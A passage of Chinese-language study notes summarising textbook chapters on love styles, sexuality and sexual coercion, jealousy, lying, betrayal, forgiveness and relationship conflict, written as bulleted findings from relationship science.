  • 亲密和承诺的结合
  • 双方会努力维持深刻、长期的友谊，表现出亲近、沟通、分享以及对爱情关系的巨大投入
  • 典型例子：虽然年轻的激情已经逐渐消失，但是长久而幸福的婚姻
愚昧之爱（fatuous love）
  • 激情和承诺的结合，但是缺失亲密
  • 常见于压倒一切的激情基础上的闪婚，彼此并不十分了解或喜欢对方
  • 很可能得不偿失
完美之爱（consummate love）
  • 三者的完美结合
  • 短时间里容易做到，但很难长久坚持（类似于减肥）

生理学的视角

  • 激情和亲密是完全不同的体验
    • 调控性欲望的脑区与支配依恋情感和对爱人承诺的脑区截然不同
  • 浪漫的爱情会激活止疼药影响的脑区
  • 依恋驱动的是相伴之爱，由神经肽催产素调节

注意

  • 三个组成部分会随时间发生变化
  • 最容易变化的，是激情

浪漫狂热之爱

唤醒

思维

  • “爱情是盲目的”：人们会低估或忽视爱侣的缺点
  • 爱情能帮助人们把注意力集中在自己爱恋的伴侣身上，从而排斥其他人
  • 自我延伸模型
    • 伴侣给人们带来新的体验和新的社会角色
    • 爱情会使人们的自我概念得到扩展和变化
    • 人们会渐渐了解以前所不认识的自己

相伴之爱

  • 相伴之爱中更容易察觉友谊的重要性，此时亲密是伴随承诺一起出现的
    • 浪漫爱情下也能产生深厚的友谊
    • 但是不容易被人们察觉，此时亲密是和激情同时出现的
  • 催产素或许是相伴之爱产生的生物基础
    • 性高潮时会释放大量的催产素，其可能是夫妻在做爱之后会感到放松和嗜睡的原因之一
    • 血液中催产素含量高的人在与配偶讨论棘手问题时往往显得更温和和善良
    • 催产素能产生令人安宁的宽慰作用

同情之爱

  • 定义：对伴侣的幸福进行利他主义的关心和关注
  • 同情之爱结合了亲密中的信任及理解与同情及关爱，关爱中包含同理心、无私和为爱人牺牲的意愿
  • 具有同情之爱的人往往会与爱人同甘共苦，宁愿自己受苦，也不让自己亲近的人受到伤害
  • 浪漫之爱是“盲目的”，但同情之爱却根源于对伴侣优点和缺点更准确的理解之上
  • 同情之爱中无私关照的核心特征可能 无价的

爱恋风格

提出者

  • 社会学家：约翰 · 艾伦 · 李
  • 用希腊和拉丁词语描述

分类

  • 情欲之爱（eros）：强烈的肉欲色彩
  • 游戏之爱（ludus）：视爱情为没有约束的游戏，这类人反复无常，试图拥有几个伴侣
  • 友谊之爱（storge）：寻求真正的友谊
  • 狂热之爱（mania）：难以满足、占有欲强，充斥着生动的幻想和沉迷
  • 利他之爱（agape）：无偿付出、利他、无私，把爱情视为一种职责
  • 现实之爱（pragma）：冷静寻找理论上和自己最般配的伴侣

其他

  • 人们存在一种倾向性，即对爱情持有相似态度的人更容易成双配对

爱情的个体和文化差异

文化

  • 美国人描述坠入爱河的体验时，比中国人更强调恋人的俊美容貌和共同点
  • 中国人比美国人更提及温和的性格、别人的看法和自己的生理唤醒

依恋类型

  • 安全型的人性生活的次数更多，有更多的唤醒、更大的愉悦、更多次数的高潮以及更大的满足
  • 依恋类型强烈而持久的影响表明人们不仅会拥有不同类型的爱情，而且还会拥有不同类型的爱人

年龄

性别

  • 男性和女性在爱情方面的共同点多于不同点
    • 男性一般比女性更为疏离，但差异相当小
    • 女性体验到的情感比男性更强烈、更多变
    • 认为男性和女性来自不同的星球，是十分愚蠢的
  • 女性在爱情方面比男性更为谨慎
  • 女性对爱恋的对象更为挑剔，更迟缓地感受到激情，她们将爱慕之情限制在适配价值更高的伴侣身上
  • 激情与男性关系的满意程度有着很高的关联
  • 承诺是预测女性满意度的最好成分

关于爱情的持久性

浪漫爱情为何难以持久

  • 浪漫爱情很难一直持续下去，至少达不到伴侣们所期望的程度
  • 从全世界范围来看，婚姻后的第四年是离婚最频繁的时间段
  • 柯立芝效应
    • 新奇对性唤醒的影响
    • 新奇能为新确立的爱情注入兴奋和能量
  • 可以认为，“浪漫因新奇、神秘和危险而繁盛；因了解熟识而消亡，持久的浪漫只不过是自相矛盾的说辞”
  • 爱情的激情成分会比亲密和承诺更快地发生变化

爱情的未来

  • 通常，促使人们结婚的爱情和使人们数十年厮守在一起的爱情并不一样
  • 虽然相伴之爱并不依赖于激情，但深处相伴之爱的人仍会感到非常满足
  • 厌倦是爱恋和满意的对立面，所以厌倦的出现是非常糟糕的信号
  • 如果不再有新奇，就去创造更多的新奇
  • 不要停止寻找新颖、吸引人的共同娱乐的好方法

最好的爱情策略

  • 享受激情，但不要把它作为维持爱情关系的基础
  • 培养与爱人之间的友谊
  • 努力保持新鲜感，把握每一个与配偶共同进行新奇探索的机会
  • 如果对爱人急迫的欲望渐渐演变为平静而深厚的情感，请不要觉得奇怪或者失望
  • 这种幸福的结果可能会使你成为幸运的爱人

一些重要的人际关系科学结论

  • 爱情三角理论
  • 浪漫的爱情会激活止疼药影响的脑区
  • 激情很容易随时间消退
  • 自我延伸模型
  • 对爱情持有相似态度的人更容易成双配对
  • 男性和女性在爱情方面的共同点多于不同点
  • 浪漫爱情很难一直持续下去，至少达不到伴侣们所期望的程度
  • 从全世界范围来看，婚姻后的第四年是离婚最频繁的时间段
  • “浪漫因新奇、神秘和危险而繁盛；因了解熟识而消亡，持久的浪漫只不过是自相矛盾的说辞”
  • 厌倦是爱恋和满意的对立面，所以厌倦的出现是非常糟糕的信号
  • 最好的爱情策略

第九章：性爱

性态度

对随意性行为的态度

  • 依恋和情感被公认为是性行为最合理的前提
  • 男女两性在性观念上的最大差异是对待婚前随意性行为的态度
    • 谈到随意性行为时，女性往往后悔自己的行为，而男性则后悔自己没有行动
  • 性的双重标准
    • 传统上，人们对女性性经历或性宽容的评价要比男性更为严厉
    • 如今认为挑逗别人并发生性关系的女性要比类似行为的男性所受到的评价更宽容（存疑）
    • 如果患有性病，人们对女性的评价则远比男性苛刻
    • 乱交中，女性得到的评价也更差

对同性恋的态度

  • 美国心理学会作出决议：
  1. 同性关系与异性的伴侣关系运转方式大抵相同
  2. 性取向与个体能否成为富有爱心、善于养育的父母根本没有关系
  3. 婚姻对人们（包括男同和女同）有益

性态度上的文化差异

  • 美国人的性态度与其他国家相比仍然保守
  • 性态度受到各种历史、宗教、政治及其他社会因素的影响，因国家和群体而千差万别

性行为

第一次性行为

  • 人际关系学科科学家坚决反对，性行为中“无知就是福”这一观点
  • 年轻的女性在发生第一次性行为时一般会有复杂的情感体验
  • 一旦伴侣之间发生性关系，其发生的背景会影响性行为的结果
    • 如果遵守伴侣表达的爱意和承诺，则会增进关系，积极发展
    • 如果没有此表达，则通常导致不确定性和悔恨
    • 不仅如此，还会发生相对权力的变化

忠诚关系中的性行为

  • 发生性行为的理由大致可分为四个方面
    • 性的情感：沟通、传递爱意和忠诚的手段
    • 性的肉欲：获得感官享受和吸引力
    • 实用：实现某些长远目标或完成具体愿望，如生孩子或使伴侣嫉妒，范围极广
    • 不安全的理由：提高个体自尊或防止伴侣移情别恋
  • 如果仅仅就女性而言，女性之间的性行为 远不及 有男人参与时那样频繁（以女同性恋为代表）

不贞

  • 个体差异比起性别差异更重要，它使得男女两性都更可能发生伴侣外性行为
  • 在性行为上存在值得注意的性别差异：
    • 男性比女性希望拥有更多的性伙伴
    • 但很少有人希望与人乱交
  • 男同性恋报告自己有伴侣外性行为的统计概率（80%）远高于其他任何一种亲密关系
  • 性开放的女性面部特征比保守的女性总显得有些男性化
  • 性开放的男性看上去很有阳刚之气，但女性更喜欢性保守男性的面孔，认为他们更适合做长期的伴侣
  • 演化学认为遥远的过去男性会碰到镜子竞争，因此男性阴茎进化出了“最完美的形状”
  • 如果女性渴望更多的性行为而伴侣做不到，她们就特别有可能会红杏出墙

性欲望

  • 平均而言，全世界男性整体上比女性有着更高的性驱力
    • 请记住男性和女性之间存在着相当大的个体差异
    • 肯定有很多男性长期看来并不如某些女性那样好色
  • 女性通常是新的亲密关系中决定何时开始性行为的“看门人”
  • 大多数女性在绝经期之后性欲望都会下降
  • 男性比女性期待更多的性行为，可能会引起严重的后果
    • 性行为可能是“亲密关系市场中女性作为卖方，而男性作为买方的一件待价而沽的珍品”
    • “女性并不认为免费的宴请就应该以性来报答，但承担所有约会开销的男性却认为女性对浪漫的、最终亲密的关系感兴趣，否则他们就会觉得被人利用并痛恨此事”
      • 这一现象的严重消极后果是：当男性感到女性“亏欠”他们时，会理直气壮的施压或强迫女性发生性行为

安全而明智的性行为

  • 恋爱关系中，只有一半的人会始终坚持使用避孕套
  • 特殊安全错觉 ：大多数人都认为不幸的事件更可能发生在别人身上，自己不会这么倒霉
  • 酒精近视 ：人们在醉酒后思考和加工信息的能力会降低
    • 过量饮酒在性唤醒时尤其如此
  • 人众无知 ：团体中的人们错误解读彼此真实的偏好，形成了大家一致遵从的规范，但几乎没有人私下支持
    • 比女性认为男性对避孕套的态度更消极，但男性未必如此
    • 事实上，男女两性在使用避孕套的意愿上并无差别
  • 一般而言，女方权力越大，越诚实和直率，她和伴侣在发生性行为时就越有可能使用避孕套
  • 当把避孕套当作性生活前戏的一部分时，避孕套不太可能会“大煞风景”
  • 使用避孕套比不使用避孕套更能给伴侣双方传递出更多的尊重、关心和关注
  • 请理直气壮的要求（新）伴侣使用避孕套

性满足

前注

  • 怎样改善你的性生活：不要尽信你所接触到的性信息
    • 电视节目容易把恋爱关系的发展描绘成愚昧的性角逐
      • 谈对象的男性都好色
      • 只关注女性的长相，迫使女性发生性行为
    • 被长时间浸染的人们倾向于支持性的双重标准
  • 性生活的频率对于男性比女性更重要
  • 性生活中将女性置于被动的地位会损害她们的自主性
    • 剥夺女性的主动权和控制权会削弱她们的性欲望，降低他们的性唤醒，使她们更难获得性高潮
    • 所以她们对性生活没有多大兴趣
  • 传统性别角色的规定同时剥夺了男女两方的某些性自由和性放任，使性互动达不到原本可能的满足程度
    • 允许彼此更多自主权和选择权的夫妻能享受到更为满足的性生活
    • 许多男性希望他们自己是伴侣渴望的有吸引力的目标，期盼他们的爱人能不时居于主导地位
    • 女性能发起性行为并自信地表现自我而非消极被动时，大多数男性也会感到很兴奋
  • 如果性行为有着积极的理由，人们对性生活会更满意、亲密和有趣，为了回避有害结果而进行性行为的伴侣更可能分手

性沟通

  • 没有言语沟通的性行为一定会发生问题
  • 异性恋者能诚实的告知对方自己喜好和讨厌的性方式，以及对方应该怎样做，其就更可能拥有和同性恋者一样高质量的性生活
  • “指导爱人怎样取悦自己”是性生活中的重要内容
  • 高焦虑的人不仅会无止境地渴望重复的保证，而且会发生更多的婚外情
  • 美满幸福的爱人往往是安全型依恋的爱人
  • 具有大男子主义思想的男性对女性兴趣的错误判断非常普遍
    • 他们把性行为视为逐利竞赛，并且喜欢支配女性
    • 对他们最有效的拒绝是 自信果断、前后一致和坚持不懈
  • 当需要女性表明感受时， 不要扭捏作态或者玩笑戏谑，请清楚的表明有没有兴趣，必要时还得重复表态

性满足与关系满意度

  • 两者存在关联并且都受到类似影响因素的支配
  • 性满足能增加关系满意度，也能减弱关系满意度
    • 与伴侣的性生活可以舒缓压力，是自慰所带来的性高潮所无法比拟的
    • 并且这一模式会持续终生
  • 美妙的性行为似乎还依赖于
    • 个体特殊的性欲望能得到伴侣的理解和尊重，如此需要才能得到满足
    • 重视伴侣并致力于维护好伴侣关系
    • 愉快地相处，无论是性生活还是日常生活

性胁迫

  • 逼迫他人发生性接触主要有以下 施压方式

    1. 言辞威逼利诱，包括
      • 虚假许诺
      • 制造内疚感
      • 威胁要结束伴侣关系
      • 等等
    2. 削弱对方反抗
      • 饮酒
      • 吸毒
      • 等等
    3. 暴力威胁

  • 整体来看，男性比女性更多使用暴力，但女性和男性一样有可能用言语胁迫不情愿的发生强迫的性交

    • 男性更可能是使用暴力强制的施暴者而非受害者
    • 大约有 25% 的男性和女性会制造此种恶行

  • 实施性侵犯的人往往会对异性持轻蔑、冷酷和粗暴的态度

  • 减少性胁迫发生的建议

    1. 请当心那些把性行为看成角逐某种利益的恋爱对象
    2. 请远离麻醉类物品（包括酒精）
    3. 下决心坚定反抗任何性侵犯的苗头
    4. 在开始亲密交往前，直接和坦率地和伴侣说清楚性界限，这样可以避免不必要的危险
      • 至少，请告诉伴侣：“如果我说‘不可以’，是真的在拒绝你，而不是欲迎还拒。”
      • 沟通不良和误解经常会引起性胁迫，如果提前表明行为的底线，错与对的界限就非常清楚
    5. 最后，把爱人视为和你平等的伴侣，对方的喜欢和快乐与你的一样重要

一些重要的人际关系科学结论

  • 个体差异比起性别差异更重要，它使得男女两性都更可能发生伴侣外性行为
  • 特殊安全错觉 ：大多数人都认为不幸的事件更可能发生在别人身上，自己不会这么倒霉
  • 酒精近视 ：人们在醉酒后思考和加工信息的能力会降低
  • 人众无知 ：团体中的人们错误解读彼此真实的偏好，形成了大家一致遵从的规范，但几乎没有人私下支持
  • 请理直气壮的要求（新）伴侣使用避孕套
  • 怎样改善你的性生活：不要尽信你所接触到的性信息
  • 性生活中将女性置于被动的地位会损害她们的自主性
  • 允许彼此更多自主权和选择权的夫妻能享受到更为满足的性生活
  • 没有言语沟通的性行为一定会发生问题
  • “指导爱人怎样取悦自己”是性生活中的重要内容
  • 高焦虑的人不仅会无止境地渴望重复的保证，而且会发生更多的婚外情
  • 当需要女性表明感受时， 不要扭捏作态或者玩笑戏谑，请清楚的表明有没有兴趣，必要时还得重复表态
  • 在开始亲密交往前，直接和坦率地和伴侣说清楚性界限，这样可以避免不必要的危险
  • 关于 减少性胁迫发生的建议 （见性胁迫）

第十章：压力与紧张

感知到的关系价值

  • 本章提及的压力与紧张的主要内容
    • 感情创伤
    • 伴侣排斥
    • 嫉妒
    • 说谎
    • 背叛
  • 负面事件的出现，表明我们得不到伴侣的爱慕和尊敬
  • 人们在感知到自己的关系价值低于期望值时就会感到苦恼和受伤

感情创伤

  • 当他人表现出对一个人任何程度的拒绝时，这个人对自我价值的即时评价都会降到最低点
  • 他人温和的拒绝带来的感受通常和更大程度的拒绝一样糟糕，但他人对人们接纳的减少可能影响更大
  • 关系贬值 带给人的感受尤为可怕，会引起多种痛苦的情绪反应
    • 关系贬值：我们感知到的关系价值减少或者他人对我们的尊重明显下降
    • 当伴侣背叛我们，我们就会感到悲哀、愤怒和受伤
    • 受伤感是一种独特的感受，与关系价值的减少有关
    • 感情创伤非常类似于身体的伤痛
    • 我们的身体反应是类似的，应对感情创伤的生理系统与应对身体疼痛的系统一样
    • 当关系贬值发生时，某些人更容易受伤
  • 低自尊的人比起高自尊的人更容易受到感情的伤害

伴侣排斥

  • 此处的排斥指亲密关系中的 人际拒绝
  • 排斥对人的伤害是深刻而又痛苦的
    • 它威胁到人类最基本的社会需要， 使人感到屈辱
    • 面对人际拒绝，人们的情感会变得迟钝，并开始做出愚笨、自我挫败的选择
    • 一般而言，拒绝似乎会使人进入心理的倦怠状态，理性计划和缜密思考减少
    • 人们具体的反应取决于个体的哪种需要受到威胁
    • 排斥他人的行为就如同侮辱或者训斥一样使人受挫和愤怒
  • 人类似乎对最轻微的社会拒绝都十分敏感
  • 排斥是非常令人讨厌的体验，其引起敌对和顺从的几率是一样的
    • 高自尊的人相对不太可能容忍排斥
      • 如果遭遇冷遇，高自尊的人比低自尊的人更有可能结束与排斥者的人际关系
      • 寻找能更友好相处的新伴侣
      • 可能正是因为这个原因，他们不太会遭遇沉默对待
    • 低自尊的人会经历更多的排斥
      • 更可能心怀怨隙、对他人报以排斥
      • 不会离开那些排斥他们的人，而会继续接近却心存恨意

嫉妒

定义

  • 嫉妒包含多种情感体验，既有悲观失落也有因伴侣具有吸引力而产生的自豪感
  • 界定妒忌最恰当的三种情感是
    • 伤害
    • 愤怒
    • 恐惧

嫉妒的两种类型

反应性嫉妒

  • 人们在觉察到自己所珍视的亲密关系面临实际的威胁时产生的嫉妒心理
  • 反应性嫉妒始终是针对现实的危险而产生的

怀疑性嫉妒

  • 伴侣并没有不端行为，个体只是由猜疑所引起的嫉妒
  • 产生怀疑性嫉妒的伴侣要确证自己的猜忌，就会引起疑惧不安的警惕和窥探
    • 这种行为既可表现为稍微过激的臆想，又可表现为彻头彻尾的偏执

注意

  • 反应性嫉妒会引起以前从未出现过的怀疑性嫉妒

容易嫉妒的人

  • 整体而言， 男性和女性在嫉妒的倾向性上不分轩轾
  • 在亲密关系中如果感到自身能力不足，则嫉妒会增强
  • 当前亲密关系中既感到能力不足，又依赖于亲密关系的人会面临这样一种险恶处境
    • 他们需要自己的伴侣，却又担心自己不够优秀而无法留住伴侣
  • 痴迷型的人比其他三种依恋类型的人会体验到更多的嫉妒
  • 人格特质也会影响嫉妒
    • 高神经质的人经常会忧心忡忡，特别容易发生嫉妒
    • 随和的人倾向于与人合作、信任别人，因而不太可能会嫉妒别人
  • 传统的性别角色也使嫉妒更可能发生

让人嫉妒的人

  • 有较高适配价值和使我们相形见绌的情敌对人们的亲密关系最有威胁作用、最让人担忧
    • 与那些竞争力弱的人相比，他们更让我们嫉妒
  • 然而，情敌通常并不如我们认为的那般吸引我们的伴侣，所以这类忧惧往往被过分夸大
    • 但人们的确会犯这样的错误，夸大对手的优势，因而陷入没有根据的烦恼之中

让人嫉妒的事物

  • 无法察觉伴侣不贞行为的演化成本非常之高，所以自然选择会偏利于那些对伴侣的忠贞 特别敏感的男性
  • 父系不确定 使如今男性比女性有着更多的婚外情，但在觉察伴侣欺骗的不贞问题上，男性比女性更准确
  • 自然选择可能会偏利于那些经常怀疑男性真爱表白的女性
    • 坚持考证男性是否忠贞的女子繁殖得更成功
    • 因此，现代女性或许都是“极端谨慎的远古母系的后裔”，她们一般会慎重地低估其男伴的忠诚度
  • 这一切的结果是，男性一想到伴侣在性事上的不贞就会激起最强烈的嫉妒，而女性对伴侣感情上的不贞反应更强烈
  • 如果不贞的配偶是女方而非男方，人们一般会认为出轨一方更可能在感情上依恋第三者
  • 当存在可能的不贞时，男性相比女性更迅速地想到正在发生的性事不贞，而女性相比男性更快速地判断正在发生的感情不贞
  • 如果出轨没有怀孕的风险则存在较大的性别差异
    • 男性认为女伴与另外的男人私通比与女人私通更糟糕
    • 女性则认为自己的男人与女性或者男性私通同样可怕

对嫉妒的反应

  • 依恋类型能决定人们应对嫉妒的行为
  • 男性和女性在对嫉妒的反应上通常也存在差异，这使得异性恋关系变得更加复杂
    • 女性表示他们会设法改善亲密关系以应对情敌的侵扰
    • 相反，男性表示他们会努力维护自我形象
    • 希望通过激起自己男人的嫉妒之心来设法改善亲密关系的女性，只能事与愿违，把伴侣从身边赶跑

积极有效地应对嫉妒

  • 如果容易嫉妒，请考虑在社交网站（如Facebook）上少花点时间
    • 人们在社交网站上花的时间越多，由此导致的嫉妒越多
  • 如果嫉妒有道理，情敌也真实存在， 人际专家建议我们要努力降低亲密关系排他性和自我价值观之间的关联
  • 当人们成功地克服了不受欢迎的嫉妒影响时，一般会采用两个策略帮助他们保持独立和自尊
    • 第一个策略是 依靠自己
      • 指伴侣拒绝沉溺于不公平的情境，而努力保持“清醒”的头脑，避免产生愤怒或尴尬的情绪体验
    • 第二个策略是 增强自己
      • 指伴侣为自己做一些美好的事情，思考自己的优秀品质，从而提升个体的自尊
  • 大多数人都不需要通过治疗来应对嫉妒
    • 但如果爱情关系出现下面的警示情况，则治疗对你们克服嫉妒有帮助作用：

    • 警示

      不论你是否拥有自己伴侣的爱恋，如果你不能确信自己是个有价值的人，那么这很可能危及你和伴侣的健康。

其他

  • 美国 13% 的谋杀案都发生在配偶之间，而嫉妒是最普遍的犯罪动机
  • 羡慕和嫉妒
    • 美慕的特点是谦卑地渴望得到他人所拥有的
    • 嫉妒则相反，它是一种由伤害、愤怒和恐惧交织在一起的复杂心态
      • 源于担心失去自己已经拥有的事物
      • 或者自己不想放弃的亲密关系
  • 在全世界，大多数男性（54%）和一部分女性（34%）都曾暗中勾引过其他人的伴侣
    • 五分之四的人曾至少得手过一次
    • 约有 70% 的人都曾遇到过意欲把伴侣从自己身边勾引走（最少的是一夜情）的第三者
    • 大多数男性（60%）和一半的女性都曾被第三者的甜言蜜语所打动
  • 一般而言，这样的人会追求别人的伴侣
    • 好色、外向
    • 随和性和尽责性都较低
    • 赞成不贞的乱交行为
    • 还往往比较自恋和操纵他人
  • 被第三者勾引走的人往往性感、好色和外向，开放性较高，并且不太珍视性忠贞
  • 不同性别的第三者用到的勾引手段一般并不相同
  • 建立在勾引别人伴侣基础上的亲密关系一开始就不可避免地带有背叛的原罪
  • 一旦有过不贞，人们往往会再次出轨

欺骗和说谎

定义

  • 欺骗（deception）是故意给人造成一种印象而欺骗者知其不实的行为
    • 隐瞒信息
    • 不提及能够表明真相的细节
    • 转移注意力从而忽略关键事实
    • 等等

亲密关系及其说谎行为

  • 男性更可能不如实地报告他们的抱负和收入，谎称自己对感情忠诚
  • 女性更可能做出性事的许诺却不兑现，在性生活中假装愉悦而喊叫，或者假装性高潮
  • 男女两性都会为了一己之私而说谎，他们为了吸引异性尤其如此
  • 如果双方谈论的议题有一方投人巨大，残酷的坦诚会伤害对方的感情，那么人们尤其有可能歪曲事实
  • 在亲密关系中我们期望伴侣慷慨、诚实，伴侣间的谎言大多数都是这类善意的小谎
  • 一旦谈到可能损害自己名誉或亲密关系的话题，人们会说较严重的谎言，这类谎言更经常地指向自己最亲密的伴侣，而不是其他任何人
    • 我们更多地在亲密关系里对伴侣撒下弥天大谎，而在普通的人际关系之中则不会这样
  • 欺骗者猜疑 ：在亲密关系中说谎会损害说谎者对被欺骗伴侣的信任
  • 说谎都有损于亲密关系，即使只有说谎者一人知道自己在说谎
  • 说谎者自己认为的一个小谎在被戳穿后，在其他人看来却更具有危害性和欺骗性

谎言与说谎者

  • 常常说谎的人并不一定就是成功的说谎者
  • 非常渴望谎言能成功的人一般比对谎言成败不太在乎的人更容易让人察觉
    • 尤其在人们想通过说谎给自己心仪的异性留下好印象时，往往最容易被人识破，谎言的接受者和任何旁观的人都了然于胸
    • 人们对不吸引人的对象，或者同性别的人说谎就很难察觉
  • 一般来讲，说谎者的非言语行为会出卖他们

对伴侣欺骗行为的察觉

  • 如果个体日常的行为方式发生变化，那显然说谎了
  • 事实偏见 ：他们一般信任彼此（否则他们的关系就可能不太亲密），认为伴侣一般都在讲真话
    • 亲密的伴侣彼此有着私人的、独特的了解，这能让他们敏感地判断彼此的行为
    • 但事实上，随着亲密关系变得更加亲密，信任也在增加，伴侣们察觉彼此欺骗的准确性却 有减无增
  • 每当言论要记录下来并且之后能很容易核查时，人们更不愿意说谎
  • 如果当你正在说谎时，有人总能识别你，那么他/她就很可能是你的伴侣
    • 但我们通常并不像自己认为的那般高明 ，能正确地分辨出伴侣言语中的事实和谎言
    • 事实上，在亲密关系中许多谎言并未被当场觉察
    • 大多数人都认为自己欺骗伴侣的能力要强于伴侣识破他们的能力
  • 在人们认为最有奖赏价值的亲密关系中，伴侣很少说谎，部分原因是说谎侵犯了共同期望的诚实和信任

背叛

定义

  • 我们信任的人做出的讨厌的、伤害人的行为，并且在情理上我们根本预期不到这种背信弃义的不端行为

注意

  • 性事不贞、感情不贞和说谎都是常见的背叛行为
  • 任何违反仁爱、忠诚、尊重和信赖等维系亲密关系准则的行为都可以视为某种程度的背叛
  • 通常意义上的严重背叛行为
    • 揭露伴侣的秘密
    • 在伴侣背后说长道短
    • 伤人感情地冷嘲热讽
    • 违背重要的许诺
    • 不支持自己的伴侣
    • 在别处花费太多的时间
    • 完全抛弃亲密关系
    • 等等
  • 如今的亲密关系约有一半会发生背叛，背叛是亲密关系中经常发生的事件
  • 大多数人都会和一人以上保持亲近，当人们试图同时忠诚于数个不同的亲密关系时，竞争性需求就不可避免
    • 当义务出现交叉重叠，偶尔违背某一特定的亲密关系就不可避免
  • 即使人们意图良善，也完全无法承担由于亲密和相互依赖所产生的交错而又竞争的需求，这时感知到的背叛就会发生

背叛的个体差异

  • 主修社会科学、教育学、商务和人文学科的大学生比主修物理、工程和其他理工专业的学生更多地背叛伴侣
  • 屡次背叛别人的人一般生活悲惨、适应不良
    • 背叛者倾向于愤恨不满、报复心强和猜忌多疑
    • 更容易变得心生嫉妒、愤世嫉俗
    • 有更高的几率罹患精神障碍
    • 更可能来自单亲家庭
  • 男性和女性在背叛他人的倾向性上没有差别，但在他们最经常背叛的对象上存在差异
    • 男性更可能背叛自己的爱侣和生意伙伴
    • 女性更可能背叛她们的朋友和家人
  • 个体是否特别容易背叛他人似乎取决于其在生活中扮演的角色

背叛的两面性

  • 人们在考虑自己的行为时很容易发生 自我服务偏差
  • 背叛者认为偶尔的背叛是相对善意的表现，固然让他们感觉好受一点， 但勇敢地面对事实或许更明智：
    • 背叛几乎总是会给亲密关系带来负面、有时甚至是持久的影响

应对背叛

  • 减少焦虑和更好地应对背叛

    1. 勇敢地正视背叛而不否认它的存在
    2. 以积极的眼光重新解释背叛，并把它作为促进个人成长的动力
    3. 依靠朋友，寻求支持

  • 报复心理对亲密关系特别有害

  • 有时被背叛的伴侣会采取令人受到伤害的行动

    • 不与人交往
    • 毁坏过去的信件和礼物
    • 追求其他的亲密关系
    • 毁谤中伤自己的伴侣

  • 避免背叛恶果的实用指导

    1. 主动承认错误比抓个现行要好得多
      • 如果事情败露，厚颜无耻的谎言会加重罪行
    2. 应该含糊其辞，做出尽可能真实的反应，不要与事实真相抵触
    3. 要巧妙地运用策略，承认那些不太严重的过错
      • 这比声称自己完全清白看起来更值得相信
      • 同时又避免了承认更严重的过错可能引起的后果

宽恕

定义

  • 一种针对曾不公平对待你的人，放弃你的报复的决定
  • “双方都确认了有害的行为”并且“受害的伴侣给予行为不端的对方以不应得到的宽容”

要素

  1. 谦卑、真诚的道歉
    • 只有诚心实意地道歉才有效
    • 最好能认识到背叛行为造成的伤害并道歉
  2. 受害者一方的同理心

注意

  • 如果受害者对伴侣的越轨行为总是耿耿于怀、沉思默想，沉溺于伤害，宽恕就不太可能发生
  • 置身于亲近、承诺的亲密关系中的人比起那些缺乏承诺的人更可能宽恕自己的伴侣
    • 既是因为同理心更容易出现
    • 又是因为背叛者更可能道歉
  • 能宽恕亲密伴侣的人能享受到更多的幸福，这是那些没有宽恕之心的人所无法企及的
    • 更高的自尊
    • 更少的敌意
    • 更少的苦恼和紧张
    • 更满意的生活
  • 宽恕有其局限性
    • 如果伴侣偶尔有不良行为并且值得原谅，那么宽恕有益
    • 但如果伴侣没有悔意，宽恕实际上有害，会削弱你的自尊，延缓任何问题的解决
  • 在不能肯定伴侣和亲密关系是否值得维系时，请选择宽恕
    • 在亲密的伴侣关系中这样做风险更大
    • 但它也可能给我们带来极为珍贵、不可替代的奖赏

一些重要的人际关系科学结论

  • 关系贬值会引起多种痛苦的情绪反应
  • 低自尊的人比起高自尊的人更容易受到感情的伤害
  • 排斥引起敌对和顺从的几率是一样的
  • 嫉妒的两种类型
  • 男性和女性在嫉妒的倾向性上不分轩轾
  • 传统的性别角色也使嫉妒更可能发生
  • 男性和女性在对嫉妒的反应上存在差异
    • 女性表示他们会设法改善亲密关系以应对情敌的侵扰
    • 相反，男性表示他们会努力维护自我形象
    • 希望通过激起自己男人的嫉妒之心来设法改善亲密关系的女性，只能事与愿违，把伴侣从身边赶跑
  • 一旦有过不贞，人们往往会再次出轨
  • 一般来讲，说谎者的非言语行为会出卖他们
  • 如果个体日常的行为方式发生变化，那显然说谎了
  • 我们通常并不像自己认为的那般高明，能正确地分辨出伴侣言语中的事实和谎言
  • 背叛的定义
  • 男性和女性在背叛他人的倾向性上没有差别，但在他们最经常背叛的对象存上在差异
    • 男性更可能背叛自己的爱侣和生意伙伴
    • 女性更可能背叛她们的朋友和家人
  • 报复心理对亲密关系特别有害
  • 但如果伴侣没有悔意，宽恕实际上有害，会削弱你的自尊，延缓任何问题的解决
  • 在不能肯定伴侣和亲密关系是否值得维系时，请选择宽恕

第十一章：冲突

性质

定义

人际冲突

  • 人际冲突：个体的动机、目标、信念、观点或行为妨碍别人或者与别人矛盾

冲突不可避免

  1. 任何两个人在情绪和偏好上都会不时地存在差别
  2. 亲密关系中总交织着一定的张力，它们迟早会引起一些紧张
  • 个体的 自主性 和与他人的 联系性 之间的持续紧张
  • 开放 和 封闭 之间的紧张
  • 稳定 和 变化 之间也存在矛盾
  • 在与个体社交圈的 聚合 和 分离 上也存在辩证式的紧张
  1. 自主性对联系性、开放对封闭、稳定对变化、聚合对分离，能解释已婚夫妻最近发生的三分之一以上的打斗和争吵
  2. 亲密关系中总是存在波动而相悖的动机，它们造成的矛盾永远不会结束，冲突迟早会发生

频率

  • 冲突不仅在亲密关系中普遍存在，其发生的频率可能也远远超出人们的想象
  • 拥有某些因素的人更容易体验到人际冲突
    • 人格
    • 依恋类型
      • 依恋焦虑显然会导致人们感知到根本不存在的危险和威胁，然而具有讽刺意味的是，他们的忧虑逐渐制造出他们恐惧的争执和紧张
    • 生命阶段
      • 与爱侣的冲突从 18，19 岁到 25 岁左右稳步增加，此后平缓下来
      • 中年夫妻两个最重大的冲突源是孩子和金钱
    • 相似性
      • 有着类似品味和期望的夫妻比起那些共同点很少的夫妻遭遇到的冲突更少，婚姻生活也更幸福
    • 酒精
      • 醉酒会加剧冲突

过程

激发事件

  • 批评：伴侣认为对方的言语和非言语行动表达出对自己行为、态度或特质的不满
  • 无理要求：超过了伴侣们彼此正常期望的不公平的索取
  • 拒绝：一方请求另一方做出期待的反应，而另一方没有像预期的那样行动
  • 累积的烦恼：相对轻微的事件不断重复变得恼人
    • 常以社会过敏的形式出现
    • 烦人的小事一再发生，人们表现出厌恶和恼怒的过度敏感的反应
    • 女性特别有可能因男性粗鲁的生活习惯而恼怒，比如在餐桌旁打嗝
    • 男性则可能因女性缺乏体贴而发怒，比如约会迟到和购物花费的时间过多
    • 女性对那些超过其期望，想更早、更频繁、更持久地发生性关系的人感到愤怒和不安，这种反应远超过男性
    • 男性则对那些延迟其性交或阻碍他们性进展的人感到愤怒和不安，这种反应远超过女性
  • 性驱力的差异会引起大多数夫妻的冲突

归因

